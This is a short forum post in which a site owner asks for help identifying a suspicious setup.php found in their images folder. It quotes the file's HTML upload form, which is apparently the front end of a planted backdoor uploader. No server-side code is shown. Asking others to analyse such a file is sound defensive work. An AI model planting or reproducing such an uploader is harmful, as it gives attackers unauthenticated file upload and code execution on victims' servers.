Found a setup . php in my images folder, whats it do? The contents are below...
from my uneducated guess it looks like a page to let someone run executables remotely without needing any kind of auth to the site.

Anybody wanna take a stab at it?

Code:
<form enctype="multipart/form-data" action="" method="post">
<input name="file_up" type="file" /><br>
<input typte="text" name="dirname"><br>
<input type="hidden" name="ribbit" value="1">
<input type="submit" value="do" />
</form>